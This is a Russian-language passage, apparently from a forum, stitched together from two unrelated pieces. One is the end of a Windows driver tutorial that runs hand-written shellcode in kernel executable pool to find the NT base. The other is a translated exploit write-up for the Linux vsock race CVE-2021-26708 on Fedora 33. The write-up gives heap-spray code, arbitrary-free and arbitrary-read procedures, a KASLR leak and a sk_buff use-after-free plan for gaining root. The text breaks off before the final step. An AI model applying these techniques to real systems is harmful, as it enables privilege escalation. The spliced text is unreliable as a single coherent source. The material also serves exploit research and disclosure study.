shl rdx, 20h
or rax, rdx
add rax, 240h
mov rax, [rax]
sub rax, 0D25440h
ret
GetNtBase ENDP
END
Шеллкод состоит ровно из 30 байт.
Создаем исполняемый пул, передаем управление на шеллкод
Драйвера могут создавать потоки с помощью функций
[PsCreateSystemThread](https://docs.microsoft.com/en-us/windows-
hardware/drivers/ddi/wdm/nf-wdm-pscreatesystemthread) и IoCreateSystemThread
(начиная с Windows 8). Драйвер должен удалять поток с помощью
[PsTerminateSystemThread](https://docs.microsoft.com/en-us/windows-
hardware/drivers/ddi/wdm/nf-wdm-psterminatesystemthread).
Перед тем как передавать управление на шеллкод, мы должны сначала выделить
исполняемый пул в ядре, т.к. в противном случае мы получим багчек с ошибкой
PAGE_FAULT_IN_NONPAGED_AREA
.
Далее копируем шеллкод в исполняемую область памяти и вызываем
PsCreateSystemThread
с указателем на шеллкод.
Spoiler: getntbase.h
C:Copy to clipboard
#pragma once
#include <ntddk.h>
#include <intrin.h>
// constants
#define IA32_GS_BASE 0xc0000101
#define EX_NODE0_RVA 0xd25440
#define EX_NODE0_OFFSET 0x240
// prototypes
NTSTATUS DriverUnload(PDRIVER_OBJECT DriverObject);
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath);
Spoiler: getntbase.c
C:Copy to clipboard
#include "getntbase.h"
#ifdef ALLOC_PRAGMA
#pragma alloc_text(INIT,DriverEntry)
#pragma alloc_text(PAGE, DriverUnload)
#endif
// Pool tag for our shellcode
#define SHC_TAG "dchS"
// Unload driver
NTSTATUS DriverUnload(PDRIVER_OBJECT DriverObject)
{
UNREFERENCED_PARAMETER(DriverObject);
KdPrint(("The DriverUnload routine called\n"));
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
PVOID P;
NTSTATUS status;
HANDLE hThread;
__debugbreak();
/*
mov ecx, 0C0000101h
rdmsr
shl rdx, 20h
or rax, rdx
add rax, 240h
mov rax, [rax]
sub rax, 0D25440h
ret
*/
UCHAR shellcode[] = {0xB9, 0x01, 0x01, 0x00, 0xC0, 0x0F, 0x32, 0x48, 0xC1, 0xE2,
0x20, 0x48, 0x0B, 0xC2, 0x48, 0x05, 0x40, 0x02, 0x00, 0x00,
0x48, 0x8B, 0x00, 0x48, 0x2D, 0x40, 0x54, 0xD2, 0x00, 0xC3};
// Allocate executable pool
P = ExAllocatePoolWithTag(NonPagedPoolExecute, sizeof(shellcode), SHC_TAG);
// Here is should be a check for STATUS_INSUFFICIENT_RESOURCES if ExAllocatePoolWithTag failed
// Initialize pool memory
RtlZeroMemory(P, sizeof(shellcode));
// Copy shellcode to the pool
RtlCopyMemory(P, shellcode, sizeof(shellcode));
// Create system thread. Here is a problem for our shellcode. We need call PsTerminateSystemThread for the shellcode thread context.
status = PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, (PKSTART_ROUTINE)P, NULL);
if (status != STATUS_SUCCESS)
{
KdPrint(("Can't create PsCreateSystemThread\n"));
}
// Close handle
ZwClose(hThread);
// Free pool memory
ExFreePoolWithTag(P, SHC_TAG);
// Initialize DriverUnload
DriverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
На листинге ниже мы можем видеть, что в rax
находится наш шеллкод и страница
является исполняемой.
Code:Copy to clipboard
2: kd> u @rax
ffffe005`5f302a50 b9010100c0 mov ecx,0C0000101h
ffffe005`5f302a55 0f32 rdmsr
ffffe005`5f302a57 48c1e220 shl rdx,20h
ffffe005`5f302a5b 480bc2 or rax,rdx
ffffe005`5f302a5e 480540020000 add rax,240h
ffffe005`5f302a64 488b00 mov rax,qword ptr [rax]
ffffe005`5f302a67 482d4054d200 sub rax,0D25440h
ffffe005`5f302a6d c3 ret
2: kd> !pte @rax
VA ffffe0055f302a50
PXE at FFFFAD56AB55AE00 PPE at FFFFAD56AB5C00A8 PDE at FFFFAD56B80157C8 PTE at FFFFAD7002AF9810
contains 0A00000005032863 contains 0A00000005235863 contains 0A0000000483A863 contains 0A0000013CA2C863
pfn 5032 ---DA--KWEV pfn 5235 ---DA--KWEV pfn 483a ---DA--KWEV pfn 13ca2c ---DA--KWEV
Шеллкод успешно выполнился и теперь в rax
находится базовый адрес ядра. При
этом система даже не упала в BSOD
и мы можем спокойно выгрузить драйвер
.
Code:Copy to clipboard
3: kd> r @rax
rax=fffff8040c600000
3: kd> ? nt
Evaluate expression: -8778705534976 = fffff804`0c600000
Конечно, с точки зрения любого вменяемого разработчика, такое программирование
является некорректным. Как уже упоминалось ранее, новый поток должен явно
вызывать функцию PsTerminateSystemThread
, чего в нашем случае не происходит,
впрочем, этот вызов можно реализовать и в самом шеллкоде. На самом деле я был
даже удивлен, что такой наглый подход в принципе сработал.
CVE-2021-26708 присвоено пять ошибок состояния гонки в реализации виртуального сокета ядра Linux. Я обнаружил и исправил их в январе 2021 года. В этой статье я описываю, как использовать их для повышения локальных привилегий на Fedora 33 Server для x86_64, минуя SMEP и SMAP.
Сегодня я выступал на Zer0Con 2021 (http://zer0con.org/#speaker-section) на эту тему (вот слайды https://a13xp0p0v.github.io/img/CVE-2021-26708.pdf).
Мне нравится этот эксплойт. Состояние гонки может быть использовано для очень ограниченного повреждения памяти, которое я постепенно превращаю в произвольное чтение/запись памяти ядра и, в конечном итоге, в полную власть над системой. Вот почему я назвал эту статью "Четыре байта мощности".
Вот демонстрационное видео PoC:
Уязвимости
Эти уязвимости представляют собой состояния гонки, вызванные ошибочной блокировкой в net/vmw_vsock/af_vsock.c. Условия гонки были неявно введены в ноябре 2019 года в коммитах, которые добавили поддержку мульти-транспорта VSOCK. Эти коммиты были объединены в ядро Linux версии 5.5-rc1.
CONFIG_VSOCKETS и CONFIG_VIRTIO_VSOCKETS поставляются как модули ядра во всех основных дистрибутивах GNU/Linux. Уязвимые модули автоматически загружаются при создании сокета для домена AF_VSOCK:
vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
Создание сокета AF_VSOCK доступно непривилегированным пользователям без необходимости использования пользовательских пространств имен. Аккуратно, правда?
Ошибки и исправления
Использую фаззер syzkaller с кастомными доработками. 11 января я увидел подозрительный сбой ядра в virtio_transport_notify_buffer_size(). Однако фаззеру не удалось воспроизвести этот сбой, поэтому я начал проверять исходный код и разрабатывать репродуктор вручную.
Через несколько дней я обнаружил сбивающую с толку ошибку в vsock_stream_setsockopt(), которая выглядела так:
C:Copy to clipboard
struct sock *sk;
struct vsock_sock *vsk;
const struct vsock_transport *transport;
/* ... */
sk = sock->sk;
vsk = vsock_sk(sk);
transport = vsk->transport;
lock_sock(sk);
Это странно. Указатель на транспорт виртуального сокета копируется в локальную переменную перед вызовом lock_sock(). Но значение vsk->transport может измениться, если блокировка сокета не задействована! Это очевидная ошибка состояния гонки. Я проверил весь файл af_vsock.c и обнаружил еще четыре похожие проблемы.
Поиск в истории git помог понять причину. Изначально транспорт для виртуального сокета нельзя было изменить, поэтому копирование значения vsk->transport в локальную переменную было безопасным. Позже ошибки были неявно введены при помощи commit c0cfa2d8a788fcf4 (vsock: добавить поддержку нескольких транспортов) и commit 6a2c0962105ae8ce (vsock: предотвратить выгрузку транспортных модулей).
Исправить эту уязвимость несложно:
C:Copy to clipboard
sk = sock->sk;
vsk = vsock_sk(sk);
- transport = vsk->transport;
lock_sock(sk);
+ transport = vsk->transport;
Немного странное раскрытие уязвимости
30 января, после завершения PoC эксплойта, я создал исправляющий патч и отправил ответственное уведомление по адресу security@kernel.org. Я получил очень быстрые ответы от Линуса и Грега, и мы остановились на следующей процедуре:
- Публичная отправка моего патча в список рассылки ядра Linux (LKML).
- Слияние с восходящим потоком и обратное портирование на затронутые стабильные деревья.
- Информирование дистрибутивов о важности этой проблемы для безопасности через список рассылки linux-distros.
- Раскрытие информации через [oss-security@lists.openwall.com](mailto:oss- security@lists.openwall.com), если это разрешено дистрибутивами.Click to expand...
Первый шаг сомнительный. Линус решил сразу же объединить мой патч без какого- либо раскрытия информации, поскольку патч "не сильно отличается от тех патчей, которые мы делаем каждый день". Я послушался и предложил публично отправить его в LKML. Это важно, потому что любой может найти исправления уязвимостей ядра, отфильтровав коммиты ядра, которые не попали в списки рассылки.
2 февраля вторая версия моего патча была слита в netdev/net.git и затем попала в дерево Линуса. 4 февраля Грег применил его к стабильной ветке. Затем я немедленно сообщил [linux-distros@vs.openwall.org](mailto:linux- distros@vs.openwall.org), что исправленные ошибки можно эксплуатировать, и спросил, сколько времени потребуется дистрибутивам Linux, прежде чем я сделаю публичное раскрытие.
Но я получил такой ответ:
Если патч зафиксирован в апстриме, проблема будет общедоступной.
Пожалуйста, немедленно отправьте в oss-security.
Click to expand...
Немного странно. В любом случае, затем я запросил идентификатор CVE на https://cve.mitre.org/cve/request_id.html и сделал объявление на oss- security@lists.openwall.com.
Возникает вопрос: совместима ли эта процедура "слияния ASAP" со списком рассылки linux-distros?
В качестве противоположного примера, когда я сообщил о CVE-2017-2636 по адресу security@kernel.org, Кис Кук и Грег организовали недельное эмбарго на раскрытие информации через список рассылки linux-distros. Это позволило дистрибутивам Linux без спешки интегрировать мое исправление в свои обновления безопасности и выпускать их одновременно.
Повреждение памяти
Теперь давайте сосредоточимся на использовании CVE-2021-26708. Я использовал состояние гонки в vsock_stream_setsockopt(). Для его воспроизведения требуется два потока. Первый вызывает setsockopt():
C:Copy to clipboard
setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
&size, sizeof(unsigned long));
Второй поток должен изменить транспорт виртуального сокета, пока vsock_stream_setsockopt() пытается получить блокировку сокета. Выполняется переподключением к виртуальному сокету:
C:Copy to clipboard
struct sockaddr_vm addr = {
.svm_family = AF_VSOCK,
};
addr.svm_cid = VMADDR_CID_LOCAL;
connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
addr.svm_cid = VMADDR_CID_HYPERVISOR;
connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
Чтобы обработать connect() для виртуального сокета, ядро выполняет vsock_stream_connect(), которая вызывает vsock_assign_transport(). У этой функции есть интересующий нас код:
C:Copy to clipboard
if (vsk->transport) {
if (vsk->transport == new_transport)
return 0;
/* transport->release() must be called with sock lock acquired.
* This path can only be taken during vsock_stream_connect(),
* where we have already held the sock lock.
* In the other cases, this function is called on a new socket
* which is not assigned to any transport.
*/
vsk->transport->release(vsk);
vsock_deassign_transport(vsk);
}
Обратите внимание, что vsock_stream_connect() удерживает блокировку сокета. Тем временем vsock_stream_setsockopt() в параллельном потоке пытается получить его. Хорошо. Это то, что нам нужно для достижения состояния гонки.
Итак, при втором connect() с другим svm_cid вызывается функция vsock_deassign_transport(). Функция выполняет транспортный деструктор virtio_transport_destruct() и, таким образом, освобождает vsock_sock.trans. На этом этапе вы можете догадаться, что все это кроется в use-after-free vsk->transport установлен в NULL.
Когда vsock_stream_connect() снимает блокировку сокета, vsock_stream_setsockopt() может продолжить выполнение. Он вызывает vsock_update_buffer_size(), который впоследствии вызывает transport→notify_buffer_size(). Здесь транспорт имеет устаревшее значение из локальной переменной, которое не соответствует vsk->transport (которое имеет значение NULL).
Ядро выполняет virtio_transport_notify_buffer_size(), разрушая память ядра:
C:Copy to clipboard
void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
struct virtio_vsock_sock *vvs = vsk->trans;
if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
*val = VIRTIO_VSOCK_MAX_BUF_SIZE;
vvs->buf_alloc = *val;
virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}
Здесь vvs - это указатель на память ядра, которая была освобождена с помощью virtio_transport_destruct(). Размер struct virtio_vsock_sock составляет 64 байта; этот объект находится в кэше kmalloc-64. Поле buf_alloc имеет тип u32 и находится по смещению 40.
VIRTIO_VSOCK_MAX_BUF_SIZE — 0xFFFFFFFFUL. Значение * val контролируется злоумышленником, и его четыре младших байта записываются в освобожденную память.
" Fuzzing miracle"
Как я уже упоминал, syzkaller не смог воспроизвести этот сбой, и мне пришлось разработать репродуктор вручную. Но почему вышел из строя фаззер? Глядя на vsock_update_buffer_size(), мы получили ответ:
C:Copy to clipboard
if (val != vsk->buffer_size &&
transport && transport->notify_buffer_size)
transport->notify_buffer_size(vsk, &val);
vsk->buffer_size = val;
Обработчик notify_buffer_size() вызывается, только если val отличается от текущего buffer_size. Другими словами, setsockopt(), выполняющий SO_VM_SOCKETS_BUFFER_SIZE, должен вызываться каждый раз с разными параметрами размера. Я использовал этот забавный прием, чтобы сделать повреждение памяти в моем первом репродукторе (исходный код):
C:Copy to clipboard
struct timespec tp;
unsigned long size = 0;
clock_gettime(CLOCK_MONOTONIC, &tp);
size = tp.tv_nsec;
setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
&size, sizeof(unsigned long));
Здесь значение размера берется из счетчика наносекунд, возвращаемого функцией
clock_gettime(), и, вероятно, будет отличаться в каждом гоночном раунде.
Syzkaller без модификаций этого не делает. Значения параметров syscall
выбираются, когда syzkaller генерирует вход фаззинга. Они не меняются, когда
фаззер поражает цель.
В любом случае, я до сих пор не совсем понимаю, как syzkaller удалось столкнуться с этим падением ¯ \ _ (ツ) _ / ¯ Похоже, что фаззер совершил удачную многопоточную магию с SO_VM_SOCKETS_BUFFER_MAX_SIZE и SO_VM_SOCKETS_BUFFER_MIN_SIZE, но затем не смог его воспроизвести.
Идея! Возможно, добавление возможности рандомизировать некоторые аргументы системного вызова во время выполнения позволит syzkaller обнаруживать больше ошибок, таких как CVE-2021-26708. С другой стороны, это также может сделать воспроизведение сбоя менее стабильным.
Четыре байта мощности
На этот раз я выбрал Fedora 33 Server в качестве цели эксплуатации с версией ядра 5.10.11-200.fc33.x86_64. С самого начала я был настроен обойти SMEP и SMAP. Подводя итог, можно сказать, что это состояние гонки может вызвать пост- запись 4-байтового управляемого значения в 64-байтовый объект ядра по смещению 40. Это довольно ограниченное повреждение памяти. Мне было нелегко превратить его в настоящее оружие. Я собираюсь описать эксплойт, исходя из графика его разработки.
В качестве первого шага я начал работать над стабильным распылителем по кучи. Эксплойт должен выполнить некоторые действия в пользовательском пространстве, которые заставят ядро выделить другой 64-байтовый объект в месте освобожденного virtio_vsock_sock. Таким образом, 4-байтовая запись после освобождения должна повредить обработанный объект (вместо неиспользуемой свободной памяти ядра).
Я настроил быстрое экспериментальное распыление с помощью системного вызова add_key. Я вызвал его несколько раз сразу после второго подключения() к виртуальному сокету, пока параллельный поток завершает работу уязвимого vsock_stream_setsockopt(). Отслеживание распределителя ядра с помощью ftrace позволило подтвердить, что освобожденный virtio_vsock_sock перезаписан. Другими словами, я увидел возможность успешного распыления.
Следующим шагом в моей стратегии эксплуатации был поиск 64-байтового объекта ядра, который может обеспечить более сильный примитив эксплойта, если он имеет четыре поврежденных байта по смещению 40. Ха… не все так просто!
Моей первой мыслью было использовать технику iovec из эксплойта Bad Binder Мэдди Стоун и Джанна Хорна. Суть его в использовании тщательно поврежденного объекта iovec для произвольного чтения/записи памяти ядра. Однако с этой идеей у меня случился тройной провал:
- 64-байтовый iovec выделяется в стеке ядра, а не в куче.
- Четыре байта со смещением 40 перезаписывают iovec.iov_len (не
iovec.iov_base), поэтому исходный подход не работает.
- Этот трюк с использованием iovec не работает, начиная с версии ядра Linux
4.13. Потрясающий Аль Виро убил его с помощью commit 09fc68dc66f7597b еще в
июне 2017 года
После утомительных экспериментов с несколькими другими объектами ядра, подходящими для распыления кучи, я обнаружил системный вызов msgsnd (). Он создает структуру msg_msg в пространстве ядра, см. Вывод :
C:Copy to clipboard
struct msg_msg {
struct list_head m_list; /* 0 16 */
long int m_type; /* 16 8 */
size_t m_ts; /* 24 8 */
struct msg_msgseg * next; /* 32 8 */
void * security; /* 40 8 */
/* size: 48, cachelines: 1, members: 5 */
/* last cacheline: 48 bytes */
};
Это заголовок сообщения, за которым следуют данные сообщения. Если структура msgbuf в пользовательском пространстве имеет 16-байтовый mtext, соответствующий msg_msg создается в блочном кэше kmalloc-64, как и struct virtio_vsock_sock. 4-байтовая запись после освобождения может повредить void *security pointer по смещению 40. Использование поля безопасности для взлома безопасности Linux: ирония сама по себе!
Поле msg_msg.security указывает на данные ядра, выделенные lsm_msg_msg_alloc() и используемые SELinux в случае Fedora. Он освобождается функцией security_msg_msg_free() при получении msg_msg. Следовательно, повреждение первой половины указателя безопасности (младшие байты на little-endian x86_64) дает произвольное освобождение, что является гораздо более сильным примитивом эксплойта.
Утечка информации о ядре в качестве бонуса
Добившись произвольного выполнения, я начал думать, куда его нацеливать - что я могу освободить? Здесь я применил тот же прием, что и в эксплойте CVE-2019-18683. Как я упоминал ранее, второй метод connect() для виртуального сокета вызывает vsock_deassign_transport(), который устанавливает для vsk->transport значение NULL. Это заставляет уязвимую vsock_stream_setsockopt() показывать предупреждение ядра, когда она вызывает virtio_transport_send_pkt_info() сразу после повреждения памяти:
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G W 5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS: 00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
vsock_update_buffer_size+0x5f/0x70 [vsock]
vsock_stream_setsockopt+0x128/0x270 [vsock]
...Click to expand...
Сеанс быстрой отладки с помощью gdb показал, что регистр RCX содержит адрес ядра освобожденного virtio_vsock_sock, а регистр RBX содержит адрес ядра vsock_sock. Отлично! В Fedora я могу открыть и проанализировать /dev/kmsg: если в журнале ядра появляется еще одно предупреждение, значит, эксплойт выиграл еще одну гонку и может извлечь соответствующие адреса ядра из регистров.
От произвольного выполнения к use-after-free
Мой план эксплуатации заключался в следующем
- Освободите объект по адресу ядра, просочившемуся в предупреждение ядра.
- Выполните распыление кучи, чтобы перезаписать этот объект контролируемыми данными.
- Выполните повышение привилегий с помощью поврежденного объекта.Click to expand...
Сначала я хотел использовать произвольный свободный адрес vsock_sock (из RBX),
потому что это большая структура, содержащая много интересного.
Но это не сработало, так как он находится в выделенном кэше слэба, где я не
могу выполнить распыление. Поэтому я не знаю, возможна ли эксплуатация
vsock_sock после освобождения.
Другой вариант - освободить адрес от RCX. Я начал искать 64-байтовый объект ядра, который можно было бы использовать после освобождения (например, содержащий указатели ядра). Более того, эксплойт в пользовательском пространстве должен каким-то образом заставить ядро поместить этот объект на место освобожденного virtio_vsock_sock. Поиск объекта ядра, отвечающего этим требованиям, был огромной болью! Я даже использовал входной корпус своего фаззера и автоматизировал этот поиск.
Параллельно я изучал внутреннее устройство реализации сообщений System V, так
как я уже использовал msg_msg для распыления кучи в этом эксплойте.
А потом я понял, как использовать use-after-free в msg_msg.
Достижение произвольного чтения
Реализация сообщения System V в ядре имеет максимальный размер DATALEN_MSG, который равен PAGE_SIZE минус sizeof (struct msg_msg)). Если вы отправляете сообщение большего размера, остаток сохраняется в списке сегментов сообщения. В структуре msg_msg есть структура msg_msgseg * next, которая указывает на первый сегмент, и size_t m_ts, в которой хранится весь размер.
Круто! Я могу поместить контролируемые значения в msg_msg.m_ts и msg_msg.next, когда я перезаписываю сообщение после выполнения произвольного выполнения для него:
Обратите внимание, что я не перезаписываю msg_msg.security, чтобы избежать нарушения проверок разрешений SELinux. Это возможно с помощью замечательной техники распыления кучи setxattr() и userfaultfd() Виталия Николенко. Совет: я размещаю полезную нагрузку распыления на границе области памяти, вызывающей сбой страницы, так что copy_from_user() зависает непосредственно перед перезаписью msg_msg.security. Смотрите код, подготавливающий полезную нагрузку:
C:Copy to clipboard
#define PAYLOAD_SZ 40
void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
{
struct msg_msg *msg_ptr;
xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;
/* Don't touch the second part to avoid breaking page fault delivery */
memset(spray_data, 0xa5, PAGE_SIZE * 4);
printf("[+] adapt the msg_msg spraying payload:\n");
msg_ptr = (struct msg_msg *)xattr_addr;
msg_ptr->m_type = 0x1337;
msg_ptr->m_ts = ARB_READ_SZ;
msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
msg_ptr,
msg_ptr->m_type, &(msg_ptr->m_type),
msg_ptr->m_ts, &(msg_ptr->m_ts),
msg_ptr->next, &(msg_ptr->next));
}
Но как нам прочитать данные ядра с помощью созданного msg_msg? Получение этого сообщения требует манипуляций с очередью сообщений System V, что нарушает работу ядра, поскольку указатель msg_msg.m_list недействителен (в моем случае 0xa5a5a5a5a5a5a5a5). Моя первая идея заключалась в установке этого указателя на адрес другого хорошего сообщения, но это привело к зависанию ядра, поскольку обход списка сообщений не может завершиться.
Чтение документации по системному вызову msgrcv() помогло найти лучшее решение: я использовал msgrcv() с флагом MSG_COPY:
MSG_COPY (since Linux 3.8)
Nondestructively fetch a copy of the message at the ordinal position in the queue
specified by msgtyp (messages are considered to be numbered starting at 0).Click to expand...
Этот флаг заставляет ядро копировать данные сообщения в пользовательское пространство, не удаляя их из очереди сообщений. Хорошо! MSG_COPY доступен, если ядро имеет CONFIG_CHECKPOINT_RESTORE = y, что верно для Fedora Server.
Произвольное чтение: пошаговая процедура
Вот пошаговая процедура, которую мой эксплойт использует для произвольного чтения памяти ядра:
1. Подготовка:
- Подсчитайте количество процессоров, доступных для гонок, используя sched_getaffinity() и CPU_COUNT() (для эксплойта требуется как минимум два).
- Откройте /dev/kmsg для парсинга.
- mmap() область памяти spray_data и настроить userfaultfd ()для последней части.
- Запустить отдельный поток pthread для обработки событий userfaultfd().
- Запустите 127 потоков pthread для распыления кучи setxattr() и userfaultfd() поверх msg_msg и повесьте их на pthread_barrier.Click to expand...
2. Получите адрес ядра msg_msg:
- Выиграйте гонку на виртуальном сокете, как описано ранее.
- Подождите 35 микросекунд в цикле занятости после второго connect().
- Сделайте вызов msgsnd() для отдельной очереди сообщений; объект msg_msg помещается в расположение virtio_vsock_sock после повреждения памяти.
- Проанализируйте журнал ядра и сохраните адрес ядра этого хорошего msg_msg из предупреждения ядра (регистр RCX).
- Также сохраните адрес ядра объекта vsock_sock из регистра RBX.Click to expand...
3. Выполнить произвольное освобождение для исправного msg_msg с использованием поврежденного msg_msg:
- Используйте четыре байта адреса исправного msg_msg для SO_VM_SOCKETS_BUFFER_SIZE; это значение будет использовано для повреждения памяти.
- Выиграйте гонку на виртуальной сокете.
- Вызвать msgsnd() сразу после второго connect(); msg_msg помещен в папку virtio_vsock_sock и поврежден.
- Теперь указатель безопасности поврежденного msg_msg хранит адрес исправного msg_msg (из шага 2).Click to expand...
- Если повреждение памяти msg_msg.security из потока setsockopt() происходит во время обработки msgsnd(), проверка разрешений SELinux не выполняется.
- В этом случае msgsnd() возвращает -1, и поврежденный msg_msg уничтожается; освобождение msg_msg.security освобождает хороший msg_msg.Click to expand...
4. Замените хороший msg_msg управляемой полезной нагрузкой:
- Сразу после сбоя msgsnd() эксплойт вызывает pthread_barrier_wait(), который пробуждает 127 распыляющих потоков pthread.
- Эти потоки pthread выполняют setxattr() с полезной нагрузкой, подготовленной с помощью adap_xattr_vs_sysv_msg_spray (vsock_kaddr), описанной ранее.
- Теперь хороший msg_msg перезаписывается контролируемыми данными, а указатель msg_msg.next на сегмент сообщения System V сохраняет адрес объекта vsock_sock.Click to expand...
Прочтите содержимое объекта ядра vsock_sock в пользовательское пространство, получив сообщение из очереди сообщений, в которой хранится перезаписанный msg_msg:
ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
IPC_NOWAIT | MSG_COPY | MSG_NOERROR);Click to expand...
Эта часть эксплойта очень надежна.
Сортировка лута
Теперь мое "оружие" дало мне хорошую добычу: я получил содержимое объекта ядра vsock_sock. Мне потребовалось некоторое время, чтобы разобраться и найти хорошие цели для атак для дальнейших действий.
Вот что я нашел внутри:
- Множество указателей на объекты из выделенных кешей слэба, таких как PINGv6 и sock_inode_cache. Это не интересно.
- Указатель struct mem_cgroup *sk_memcg, находящийся в vsock_sock.sk по смещению 664. Структура mem_cgroup размещена в кэше slab kmalloc-4k. Хорошо!
- const struct cred указатель владельца, находящийся в vsock_sock по смещению 840. Он хранит адрес учетных данных, которые я хочу перезаписать для повышения привилегий.
- указатель на функцию void ( sk_write_space) (struct sock *) в vsock_sock.sk со смещением 688. Он установлен на адрес функции ядра sock_def_write_space (). Это можно использовать для расчета смещения KASLR.Click to expand...
Вот как эксплойт извлекает эти указатели из дампа памяти:
C:Copy to clipboard
#define MSG_MSG_SZ 48
#define DATALEN_MSG (PAGE_SIZE - MSG_MSG_SZ)
#define SK_MEMCG_OFFSET 664
#define SK_MEMCG_RD_LOCATION (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET 840
#define OWNER_CRED_RD_LOCATION (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET 688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET)
/*
* From Linux kernel 5.10.11-200.fc33.x86_64:
* function pointer for calculating KASLR secret
*/
#define SOCK_DEF_WRITE_SPACE 0xffffffff819851b0lu
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;
/* ... */
sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
sk_memcg, SK_MEMCG_RD_LOCATION);
owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
owner_cred, OWNER_CRED_RD_LOCATION);
sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);
kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);
Структура cred размещается в выделенном кэше слэба cred_jar. Даже если я выполню произвольное освобождение от него, я не смогу перезаписать его контролируемыми данными (или, по крайней мере, я не знаю, как это сделать). Это очень плохо, так как это было бы лучшим решением.
Поэтому я сосредоточился на объекте mem_cgroup. Я попытался вызвать для этого kfree(), но ядро сразу запаниковало. Похоже, ядро довольно интенсивно использует этот объект. Но здесь я вспомнил свои старые добрые уловки повышения привилегий.
UAF в sk_buff
Когда я эксплуатировал CVE-2017-2636 в ядре Linux еще в 2017 году, я превратил double free для объекта kmalloc-8192 в use-after-free на sk_buff.Я решил повторить этот трюк.
Сетевой буфер в ядре Linux представлен структурой sk_buff. Этот объект имеет skb_shared_info с destructor_arg, который можно использовать для перехвата потока управления. Сетевые данные и skb_shared_info помещаются в тот же блок памяти ядра, на который указывает sk_buff.head. Следовательно, создание 2800-байтового сетевого пакета в пользовательском пространстве приведет к тому, что skb_shared_info будет размещен в кэше slab kmalloc-4k, где также находятся объекты mem_cgroup.
Итак, я реализовал следующую процедуру:
- Создайте один клиентский сокет и 32 серверных сокета с помощью сокета (AF_INET, SOCK_DGRAM, IPPROTO_UDP).
- Подготовьте буфер размером 2800 байт в пользовательском пространстве и выполните memset() с 0x42 для него.
- Отправьте этот буфер из клиентского сокета в каждый серверный сокет с помощью sendto (). Это создает объекты sk_buff в kmalloc-4k. Сделайте это на каждом доступном ЦП с помощью sched_setaffinity() (это важно, потому что кеш-блоки для каждого ЦП).
- Выполните процедуру произвольного чтения для vsock_sock (описанную ранее).
- Рассчитайте возможный адрес ядра sk_buff как sk_memcg плюс 4096 (следующий элемент в kmalloc-4k).
- Выполните произвольную процедуру чтения для этого возможного адреса sk_buff.
- Если 0x4242424242424242lu найден в месте расположения сетевых данных, то найден реальный sk_buff, переходите к шагу 8. В противном случае добавьте 4096 к возможному адресу sk_buff и переходите к шагу 6.
- Запустите 32 потока pthread для распыления кучи setxattr() и userfaultfd() поверх sk_buff и повесьте их на pthread_barrier.
- Произвольно освободите адрес ядра sk_buff.
- Вызовите pthread_barrier_wait(), который пробуждает 32 распыляющих потока pthread, которые выполняют setxattr(), перезаписывая skb_shared_info.
- Получите сетевые сообщений с помощью recv() для сокетов сервера.Click to expand...
Когда получен объект sk_buff с перезаписанным skb_shared_info, ядро выполняет обратный вызов destructor_arg, который выполняет произвольную запись в память ядра и повышает привилегии пользователя. Как? Продолжай читать!
